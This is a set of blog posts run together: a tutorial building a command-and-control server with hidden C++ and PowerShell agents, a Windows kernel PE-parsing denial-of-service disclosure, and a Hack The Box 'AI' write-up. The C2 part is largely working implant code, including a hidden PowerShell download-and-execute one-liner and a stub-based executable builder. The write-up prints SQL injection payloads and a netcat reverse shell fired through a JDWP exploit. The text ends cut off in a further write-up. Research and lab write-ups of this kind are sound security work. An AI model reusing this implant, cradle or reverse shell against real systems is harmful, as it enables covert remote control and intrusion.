bResults = WinHttpReceiveResponse(hRequest, NULL);
}

if (bResults)
{
do
{
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)){}

pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
dwSize = 0;
}
else
{
ZeroMemory(pszOutBuffer, dwSize + 1);

if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {}
else {

response = response + std::string(pszOutBuffer);
delete[] pszOutBuffer;
}
}
} while (dwSize > 0);
}

if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);

return response;

}

The shell function does the almost the same thing as the shell function in the other agent, some of the code is taken from Stack Overflow and I edited it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

CStringA shell(const wchar_t* cmd)
{
CStringA result;
HANDLE hPipeRead, hPipeWrite;

SECURITY_ATTRIBUTES saAttr = {sizeof(SECURITY_ATTRIBUTES)};
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;


if (!CreatePipe(&hPipeRead, &hPipeWrite, &saAttr, 0))
return result;

STARTUPINFOW si = {sizeof(STARTUPINFOW)};
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdOutput = hPipeWrite;
si.hStdError = hPipeWrite;
si.wShowWindow = SW_HIDE;

PROCESS_INFORMATION pi = { 0 };

BOOL fSuccess = CreateProcessW(NULL, (LPWSTR)cmd, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (! fSuccess)
{
CloseHandle(hPipeWrite);
CloseHandle(hPipeRead);
return result;
}

bool bProcessEnded = false;
for (; !bProcessEnded ;)
{
bProcessEnded = WaitForSingleObject( pi.hProcess, 50) == WAIT_OBJECT_0;

for (;;)
{
char buf[1024];
DWORD dwRead = 0;
DWORD dwAvail = 0;

if (!::PeekNamedPipe(hPipeRead, NULL, 0, NULL, &dwAvail, NULL))
break;

if (!dwAvail)
break;

if (!::ReadFile(hPipeRead, buf, min(sizeof(buf) - 1, dwAvail), &dwRead, NULL) || !dwRead)
break;

buf[dwRead] = 0;
result += buf;
}
}

CloseHandle(hPipeWrite);
CloseHandle(hPipeRead);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return result;
}

I would like to point out an important option in the process created by the shell function which is:

1
si.wShowWindow = SW_HIDE;

This is responsible for hiding the console window, this is also added in the main() function of the agent to hide the console window:

1
2
3
4
5
int main(int argc, char const *argv[]) 
{

ShowWindow(GetConsoleWindow(), SW_HIDE);
...

Agent Handler

Now that we’ve talked about the agents, let’s go back to the server and take a look at the agent handler.

An Agent object is instantiated with a name, a listener name, a remote address, a hostname, a type and an encryption key:

1
2
3
4
5
6
7
8
9
10
class Agent:

def __init__(self, name, listener, remoteip, hostname, Type, key):

self.name = name
self.listener = listener
self.remoteip = remoteip
self.hostname = hostname
self.Type = Type
self.key = key

Then it defines the sleep time which is 3 seconds by default as discussed, it needs to keep track of the sleep time to be able to determine if an agent is dead or not when removing an agent, otherwise it will keep waiting for the agent to call forever:

1
self.sleept    = 3

After that it creates the needed directories and files:

1
2
3
4
5
self.Path      = "data/listeners/{}/agents/{}/".format(self.listener, self.name)
self.tasksPath = "{}tasks".format(self.Path, self.name)

if os.path.exists(self.Path) == False:
os.mkdir(self.Path)

And finally it creates the menu for the agent, but I won’t cover the Menu class in this post because it doesn’t relate to the core functionality of the tool.

1
2
3
4
5
6
7
8
9
10
11
self.menu = menu.Menu(self.name)

self.menu.registerCommand("shell", "Execute a shell command.", "<command>")
self.menu.registerCommand("powershell", "Execute a powershell command.", "<command>")
self.menu.registerCommand("sleep", "Change agent's sleep time.", "<time (s)>")
self.menu.registerCommand("clear", "Clear tasks.", "")
self.menu.registerCommand("quit", "Task agent to quit.", "")

self.menu.uCommands()

self.Commands = self.menu.Commands

I won’t talk about the wrapper functions because we only care about the core functions.

First function is the writeTask() function, which is a quite simple function, it takes the task and prepends it with the VALID flag then it writes it to the tasks path:

1
2
3
4
5
6
7
8
9
10
def writeTask(self, task):

if self.Type == "p":
task = "VALID " + task
task = ENCRYPT(task, self.key)
elif self.Type == "w":
task = task

with open(self.tasksPath, "w") as f:
f.write(task)

As you can see, it only encrypts the task in case of powershell agent only, that’s because there’s no encryption in the c++ agent (more on that in the encryption part).

Second function I want to talk about is the clearTasks() function which just deletes the tasks file, very simple:

1
2
3
4
5
6
def clearTasks(self):

if os.path.exists(self.tasksPath):
os.remove(self.tasksPath)
else:
pass

Third function is a very important function called update(), this function gets called when an agent is renamed and it updates the paths. As seen earlier, the paths depend on the agent’s name, so without calling this function the agent won’t be able to download its tasks.

1
2
3
4
5
6
7
8
def update(self):

self.menu.name = self.name
self.Path = "data/listeners/{}/agents/{}/".format(self.listener, self.name)
self.tasksPath = "{}tasks".format(self.Path, self.name)

if os.path.exists(self.Path) == False:
os.mkdir(self.Path)

The remaining functions are wrappers that rely on these functions or helper functions that rely on the wrappers. One example is the shell function which just takes the command and writes the task:

1
2
3
4
5
6
7
8
def shell(self, args):

if len(args) == 0:
error("Missing command.")
else:
command = " ".join(args)
task = "shell " + command
self.writeTask(task)

The last function I want to talk about is a helper function called displayResults which takes the sent results and the agent name. If the agent is a powershell agent it decrypts the results and checks their validity then prints them, otherwise it will just print the results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def displayResults(name, result):

if isValidAgent(name,0) == True:

if result == "":
success("Agent {} completed task.".format(name))
else:

key = agents[name].key

if agents[name].Type == "p":

try:
plaintext = DECRYPT(result, key)
except:
return 0

if plaintext[:5] == "VALID":
success("Agent {} returned results:".format(name))
print(plaintext[6:])
else:
return 0

else:
success("Agent {} returned results:".format(name))
print(result)

Payloads Generator

Any c2 server would be able to generate payloads for active listeners, as seen earlier in the agents part, we only need to change the IP address, port and key in the agent template, or just the IP address and port in case of the c++ agent.

PowerShell

Doing this with the powershell agent is simple because a powershell script is just a text file so we just need to replace the strings REPLACE_IP, REPLACE_PORT and REPLACE_KEY.

The powershell function takes a listener name, and an output name. It grabs the needed options from the listener then it replaces the needed strings in the powershell template and saves the new file in two places, /tmp/ and the files path for the listener. After doing that it generates a download cradle that requests /sc/ (the endpoint discussed in the listeners part).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def powershell(listener, outputname):

outpath = "/tmp/{}".format(outputname)
ip = listeners[listener].ipaddress
port = listeners[listener].port
key = listeners[listener].key

with open("./lib/templates/powershell.ps1", "rt") as p:
payload = p.read()

payload = payload.replace('REPLACE_IP',ip)
payload = payload.replace('REPLACE_PORT',str(port))
payload = payload.replace('REPLACE_KEY', key)

with open(outpath, "wt") as f:
f.write(payload)

with open("{}{}".format(listeners[listener].filePath, outputname), "wt") as f:
f.write(payload)

oneliner = "powershell.exe -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString(\'http://{}:{}/sc/{}\')\"".format(ip, str(port), outputname)

success("File saved in: {}".format(outpath))
success("One liner: {}".format(oneliner))

Windows Executable (C++ Agent)

It wasn’t as easy as it was with the powershell agent, because the c++ agent would be a compiled PE executable.

It was a huge problem and I spent a lot of time trying to figure out what to do, that was when I was introduced to the idea of a stub.

The idea is to append whatever data that needs to be dynamically assigned to the executable, and design the program in a way that it reads itself and pulls out the appended information.

In the source of the agent I added a few lines of code that do the following:

  • Open the file as a file stream.
  • Move to the end of the file.
  • Read 2 lines.
  • Save the first line in the IP variable.
  • Save the second line in the port variable.
  • Close the file stream.
1
2
3
4
5
6
7
8
std::ifstream ifs(argv[0]);

ifs.seekg(TEMPLATE_EOF);

std::getline(ifs, ip);
std::getline(ifs, sPort);

ifs.close();

To get the right EOF I had to compile the agent first, then update the agent source and compile again according to the size of the file.

For example this is the current definition of TEMPLATE_EOF for the x64 agent:

1
#define TEMPLATE_EOF 52736

If we take a look at the size of the file we’ll find that it’s the same:

1
2
# ls -la
-rwxrwxr-x 1 ... ... 52736 ... ... ... winexe64.exe

The winexe function takes a listener name, an architecture and an output name, grabs the needed options from the listener and appends them to the template corresponding to the selected architecture and saves the new file in /tmp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def winexe(listener, arch, outputname):

outpath = "/tmp/{}".format(outputname)
ip = listeners[listener].ipaddress
port = listeners[listener].port

if arch == "x64":
copyfile("./lib/templates/winexe/winexe64.exe", outpath)
elif arch == "x32":
copyfile("./lib/templates/winexe/winexe32.exe", outpath)

with open(outpath, "a") as f:
f.write("{}\n{}".format(ip,port))

success("File saved in: {}".format(outpath))

Encryption

I’m not very good at cryptography so this part was the hardest of all. At first I wanted to use AES and do Diffie-Hellman key exchange between the server and the agent. However I found that powershell can’t deal with big integers without the .NET class BigInteger, and because I’m not sure that the class would be always available I gave up the idea and decided to hardcode the key while generating the payload because I didn’t want to risk the compatibility of the agent. I could use AES in powershell easily, however I couldn’t do the same in c++, so I decided to use a simple xor but again there were some issues, that’s why the winexe agent won’t be using any encryption until I figure out what to do.

Let’s take a look at the crypto functions in both the server and the powershell agent.

Server

The AESCipher class uses the AES class from the pycrypto library, it uses AES CBC 256.

An AESCipher object is instantiated with a key, it expects the key to be base-64 encoded:

1
2
3
4
5
6
class AESCipher:

def __init__(self, key):

self.key = base64.b64decode(key)
self.bs = AES.block_size

There are two functions to pad and unpad the text with zeros to match the block size:

1
2
3
4
5
6
def pad(self, s):
return s + (self.bs - len(s) % self.bs) * "\x00"

def unpad(self, s):
s = s.decode("utf-8")
return s.rstrip("\x00")

The encryption function takes plain text, pads it, creates a random IV, encrypts the plain text and returns the IV + the cipher text base-64 encoded:

1
2
3
4
5
6
7
def encrypt(self, raw):

raw = self.pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)

return base64.b64encode(iv + cipher.encrypt(raw.encode("utf-8")))

The decryption function does the opposite:

1
2
3
4
5
6
7
8
9
def decrypt(self,enc):

enc = base64.b64decode(enc)
iv = enc[:16]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
plain = cipher.decrypt(enc[16:])
plain = self.unpad(plain)

return plain

I created two wrapper function that rely on the AESCipher class to encrypt and decrypt data:

1
2
3
4
5
6
7
8
9
10
11
12
13
def ENCRYPT(PLAIN, KEY):

c = AESCipher(KEY)
enc = c.encrypt(PLAIN)

return enc.decode()

def DECRYPT(ENC, KEY):

c = AESCipher(KEY)
dec = c.decrypt(ENC)

return dec

And finally there’s the generateKey function which creates a random 32 bytes key and base-64 encodes it:

1
2
3
4
def generateKey():

key = base64.b64encode(os.urandom(32))
return key.decode()

PowerShell Agent

The powershell agent uses the .NET class System.Security.Cryptography.AesManaged.

First function is the Create-AesManagedObject which instantiates an AesManaged object using the given key and IV. It’s a must to use the same options we decided to use on the server side which are CBC mode, zeros padding and 32 bytes key length:

1
2
3
4
5
6
7
function Create-AesManagedObject($key, $IV) {

$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256

After that it checks if the provided key and IV are of the type String (which means that the key or the IV is base-64 encoded), depending on that it decodes the data before using them, then it returns the AesManaged object.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if ($IV) {

if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}

else {
$aesManaged.IV = $IV
}
}

if ($key) {

if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}

else {
$aesManaged.Key = $key
}
}

$aesManaged
}

The Encrypt function takes a key and a plain text string, converts that string to bytes, then it uses the Create-AesManagedObject function to create the AesManaged object and it encrypts the string with a random generated IV.

It returns the cipher text base-64 encoded.

1
2
3
4
5
6
7
8
9
10
function Encrypt($key, $unencryptedString) {

$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.Convert]::ToBase64String($fullData)
}

The opposite of this process happens with the Decrypt function:

1
2
3
4
5
6
7
8
9
10
11
function Decrypt($key, $encryptedStringWithIV) {

$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)

}

Listeners / Agents Persistency

I used pickle to serialize agents and listeners and save them in databases, when you exit the server it saves all of the agent objects and listeners, then when you start it again it loads those objects again so you don’t lose your agents or listeners.

For the listeners, pickle can’t serialize objects that use threads, so instead of saving the objects themselves I created a dictionary that holds all the information of the active listeners and serialized that, the server loads that dictionary and starts the listeners again according to the options in the dictionary.

I created wrapper functions that read, write and remove objects from the databases:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def readFromDatabase(database):

data = []

with open(database, 'rb') as d:

while True:
try:
data.append(pickle.load(d))
except EOFError:
break

return data

def writeToDatabase(database,newData):

with open(database, "ab") as d:
pickle.dump(newData, d, pickle.HIGHEST_PROTOCOL)

def removeFromDatabase(database,name):

data = readFromDatabase(database)
final = OrderedDict()

for i in data:
final[i.name] = i

del final[name]

with open(database, "wb") as d:
for i in final:
pickle.dump(final[i], d , pickle.HIGHEST_PROTOCOL)

Demo

I will show you a quick demo on a Windows Server 2016 target.

This is how the home of the server looks like:

Let’s start by creating a listener:

Now let’s create a payload, I created the three available payloads:

After executing the payloads on the target we’ll see that the agents successfully contacted the server:

Let’s rename the agents:

I executed 4 simple commands on each agent:

Then I tasked each agent to quit.

And that concludes this blog post, as I said before I would appreciate all the feedback and the suggestions so feel free to contact me on twitter @Ahm3d_H3sham.

If you liked the article tweet about it, thanks for reading.

Malformed PE Header Kernel Denial Of Service

By: walied
27 January 2020 at 21:07
This post is about a bug in the Windows Kernel that i recently discovered and reported to Microsoft. It lies in code responsible for parsing PE executables.







The "nt!MiCreateImageFileMap" function is prone to a vulnerability where the "e_lfanew" field of the "_IMAGE_DOS_HEADER" structure is not properly checked against the "SizeOfImage" field of the "_IMAGE_OPTIONAL_HEADER" structure. The bug is due to the kernel assuming two contradictive things, the first is that the "e_lfanew" field is an offset into the "on-disk" file and the second is that it is an offset into the "in-memory" executable image.


The function reads (I/O Read) the "_IMAGE_NT_HEADERS" structure as long as data is within the file size, not bearing in mind that PE executables support file overlays. So, while the function reads and parses PE headers "successfully!". Any subsequent call to the "nt!RtlImageNtHeader" or "nt!RtlImageNtHeaderEx" function on the PE Header of the executable image's memory will end up reading beyond memory boundaries (In other words, a file offset is being used to reference memory).

For example, when the "MiCreateImageFileMap" function returns, it calls the "nt!MiValidateImageHeader" function, which calls the "nt!MiMapImageInSystemCache" function to a map number of PTEs corresponding to "SizeOfImage" (total size of PE in memory) and then passes this memory to the "nt!SeValidateImageHeader" function which calls into the Code Integrity driver (CI.dll) functions CI!CiValidateImageHeader, CI!CipFixImageType, nt!RtlImageNtHeaderRtlImageNtHeader feteches e_lfanew again and accesses memory.


So, let's have a look at MiCreateImageFileMap

1) It first starts with a call to "FsRtlGetFileSize()"  function to get the file size of the input executable. If it is is above 0xFFFFFFFF bytes, the call fails. Now, we know the input executable must be below 4GB.



2) It then calls the "IoPageRead" function to read one page representing the input executable's DOS header and hopefully the NT file headers, from disk into memory, if it was not already cached in memory. Then, as expected, it checks to see whether the "e_magic" field is set to "MZ" (0x5A4D).






3) It then makes sure "e_lfanew" plus sizeof(nt!_IMAGE_NT_HEADERS64) does not overflow and does not exceed the input file size on disk.


4) If the data at "e_lfanew" does not fit into one memory page, then function proceeds with allocating two pages and reattempts reading again.


5) Then, it calculates the size and address of _IMAGE_NT_HEADERS structure in memory.

6) At this point, the "MiCreateImageFileMap" function proceeds with parsing the in-memory NT headers by calling  "MiVerifyImageHeader".



 7) The call to "MiCreateImageFileMap" will then proceed to building a   _CONTROL_AREA structure, where the section headers are also parsed via calling the "MiParseImageSectionHeaders" function.



Now let's move to another function, "MiValidateImageHeader". Its prototype looks like below.
It uses the control area structure created previously by "MiCreateImageFileMap" to map the executable header and sections into kernel system cache.

It then calls the "SeValidateImageHeader" function to validate the code integrity of the executable. SeValidateImageHeader itself calls into CI.dll, where "RtlImageNtHeaderEx" is finally called. See, Call stack in image below.


Now, let's move to, "RtlImageNtHeaderEx". Its prototype looks like below.




Its first argument is the executable image's base in memory. It simply finds the location of NT headers in memory by using the "e_lfanew" field.






So, if we modify the "e_lfanew" field to be located in the PE overlay i.e. beyond SizeOfImage, we can have a valid memory image where, at offset 0x3C, we have a value that represents an offset beyond the boundary of image memory in kernel system cache. Moreover, if we set the "IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY" characteristic, we force the "RtlImageNtHeaderEx" to use this file offset as a memory offset, crashing the kernel.










Here is the crash call stack.


By the way, "MiCreateImageFileMap" improperly sanitizing "e_lfanew" against "SizeOfImage" also led to a memory corruption bug in the "nt!MiRelocateImage" function. I will explain that in the next blog post.

You can find POC here. Password: POCpoc@123

The bug was assigned CVE-2019-1391.

You can follow me @waleedassar

Hack The Box - AI

25 January 2020 at 03:00

Hack The Box - AI

Quick Summary

Hey guys, today AI retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.163, I added it to /etc/hosts as ai.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~/Desktop/HTB/boxes/AI# nmap -sV -sT -sC -o nmapinitial ai.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 17:46 EST
Nmap scan report for ai.htb (10.10.10.163)
Host is up (0.83s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA)
| 256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA)
|_ 256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello AI!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.15 seconds
root@kali:~/Desktop/HTB/boxes/AI#

We got ssh on port 22 and http on port 80.

Web Enumeration

The index page was empty:

By hovering over the logo a menu appears:

The only interesting page there was /ai.php. From the description (“Drop your query using wav file.”) my first guess was that it’s a speech recognition service that processes users’ input and executes some query based on that processed input, And there’s also a possibility that this query is a SQL query but we’ll get to that later.:

I also found another interesting page with gobuster:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@kali:~/Desktop/HTB/boxes/AI# gobuster dir -u http://ai.htb/ -w /usr/share/wordlists/dirb/common.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://ai.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/01/24 18:57:23 Starting gobuster
===============================================================
----------
REDACTED
----------
/intelligence.php (Status: 200)
----------
REDACTED
----------
===============================================================
2020/01/24 19:00:49 Finished
===============================================================
root@kali:~/Desktop/HTB/boxes/AI#

It had some instructions on how to use their speech recognition:

I used ttsmp3.com to generate audio files and I created a test file:

But because the application only accepts wav files I converted the mp3 file with ffmpeg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@kali:~/Desktop/HTB/boxes/AI/test# mv ~/Downloads/ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3 .
root@kali:~/Desktop/HTB/boxes/AI/test# ffmpeg -i ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3 ttsMP3.com_VoiceText_2020-1-24_19_35_47.wav
ffmpeg version 4.2.1-2+b1 Copyright (c) 2000-2019 the FFmpeg developers
built with gcc 9 (Debian 9.2.1-21)
configuration: --prefix=/usr --extra-version=2+b1 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping --enable-avresample --disable-filter=resample --enable-avisynth --enable-gnutls --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libcodec2 --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --enable-libopenjpeg --enable-libopenmpt --enable-libopus --enable-libpulse --enable-librsvg --enable-librubberband --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzmq --enable-libzvbi --enable-lv2 --enable-omx --enable-openal --enable-opengl --enable-sdl2 --enable-libdc1394 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-libx264 --enable-shared
libavutil 56. 31.100 / 56. 31.100
libavcodec 58. 54.100 / 58. 54.100
libavformat 58. 29.100 / 58. 29.100
libavdevice 58. 8.100 / 58. 8.100
libavfilter 7. 57.100 / 7. 57.100
libavresample 4. 0. 0 / 4. 0. 0
libswscale 5. 5.100 / 5. 5.100
libswresample 3. 5.100 / 3. 5.100
libpostproc 55. 5.100 / 55. 5.100
[mp3 @ 0x55b33e5f88c0] Estimating duration from bitrate, this may be inaccurate
Input #0, mp3, from 'ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3':
Metadata:
encoder : Lavf57.71.100
Duration: 00:00:00.63, start: 0.000000, bitrate: 48 kb/s
Stream #0:0: Audio: mp3, 22050 Hz, mono, fltp, 48 kb/s
Stream mapping:
Stream #0:0 -> #0:0 (mp3 (mp3float) -> pcm_s16le (native))
Press [q] to stop, [?] for help
Output #0, wav, to 'ttsMP3.com_VoiceText_2020-1-24_19_35_47.wav':
Metadata:
ISFT : Lavf58.29.100
Stream #0:0: Audio: pcm_s16le ([1][0][0][0] / 0x0001), 22050 Hz, mono, s16, 352 kb/s
Metadata:
encoder : Lavc58.54.100 pcm_s16le
size= 27kB time=00:00:00.62 bitrate= 353.8kbits/s speed= 146x
video:0kB audio:27kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.282118%
root@kali:~/Desktop/HTB/boxes/AI/test#

SQL injection –> Alexa’s Credentials –> SSH as Alexa –> User Flag

As I said earlier, we don’t know what does it mean by “query” but it can be a SQL query. When I created another audio file that says it's a test I got a SQL error because of ' in it's:

The injection part was the hardest part of this box because it didn’t process the audio files correctly most of the time, and it took me a lot of time to get my payloads to work.
First thing I did was to get the database name.
Payload:

1
one open single quote union select database open parenthesis close parenthesis comment database


The database name was alexa, next thing I did was enumerating table names, my payload was like the one shown below and I kept changing the test after from and tried possible and common things.
Payload:

1
one open single quote union select test from test comment database


The table users existed.
Payload:

1
one open single quote union select test from users comment database


From here it was easy to guess the column names, username and password. The problem with username was that it processed user and name as two different words so I couldn’t make it work.
Payload:

1
one open single quote union select username from users comment database


password worked just fine.
Payload:

1
one open single quote union select password from users comment database


Without knowing the username we can’t do anything with the password, I tried alexa which was the database name and it worked:

We owned user.

JDWP –> Code Execution –> Root Shell –> Root Flag

Privilege escalation on this box was very easy, when I checked the running processes I found this one:

1
2
3
4
5
6
7
8
9
10
alexa@AI:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
----------
REDACTED
----------
root 89984 18.8 5.4 3137572 110120 ? Sl 22:44 0:06 /usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-9.0.27/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n -Dignore.endorsed.dirs= -classpath /opt/apache-tomcat-9.0.27/bin/bootstrap.jar:/opt/apache-tomcat-9.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/apache-tomcat-9.0.27 -Dcatalina.home=/opt/apache-tomcat-9.0.27 -Djava.io.tmpdir=/opt/apache-tomcat-9.0.27/temp org.apache.catalina.startup.Bootstrap start
----------
REDACTED
----------
alexa@AI:~$

This was related to an Apache Tomcat server that was running on localhost, I looked at that server for about 10 minutes but it was empty and I couldn’t do anything there, it was a rabbit hole. If we check the listening ports we’ll see 8080, 8005 and 8009 which is perfectly normal because these are the ports used by tomcat, but we’ll also see 8000:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
alexa@AI:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:8080 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN -
tcp6 0 0 127.0.0.1:8009 :::* LISTEN -
alexa@AI:~$

A quick search on that port and how it’s related to tomcat revealed that it’s used for debugging, jdwp is running on that port.

The Java Debug Wire Protocol (JDWP) is the protocol used for communication between a debugger and the Java virtual machine (VM) which it debugs (hereafter called the target VM). -docs.oracle.com

By looking at the process again we can also see this parameter given to the java binary:

1
-agentlib:jdwp=transport=dt_socket,address=localhost:8000

I searched for exploits for the jdwp service and found this exploit. I uploaded the python script on the box and I added the reverse shell payload to a file and called it pwned.sh then I ran the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
alexa@AI:/dev/shm$ nano pwned.sh 
alexa@AI:/dev/shm$ chmod +x pwned.sh
alexa@AI:/dev/shm$ cat pwned.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
alexa@AI:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh
[+] Targeting '127.0.0.1:8000'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'
[+] Found Runtime class: id=b8c
[+] Found Runtime.getRuntime(): id=7f40bc03e790
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'

Then from another ssh session I triggered a connection on port 8005:

1
alexa@AI:~$ nc localhost 8005

And the code was executed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
alexa@AI:/dev/shm$ nano pwned.sh 
alexa@AI:/dev/shm$ chmod +x pwned.sh
alexa@AI:/dev/shm$ cat pwned.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
alexa@AI:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh
[+] Targeting '127.0.0.1:8000'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'
[+] Found Runtime class: id=b8c
[+] Found Runtime.getRuntime(): id=7f40bc03e790
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
[+] Received matching event from thread 0x1
[+] Selected payload '/dev/shm/pwned.sh'
[+] Command string object created id:c31
[+] Runtime.getRuntime() returned context id:0xc32
[+] found Runtime.exec(): id=7f40bc03e7c8
[+] Runtime.exec() successful, retId=c33
[!] Command successfully executed
alexa@AI:/dev/shm$

And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Player

Hack The Box - Player

18 January 2020 at 03:00

Hack The Box - Player

Quick Summary

Hey guys, today Player retired and here’s my write-up about it. It was a relatively hard CTF-style machine with a lot of enumeration and a couple of interesting exploits. It’s a Linux box and its ip is 10.10.10.145, I added it to /etc/hosts as player.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
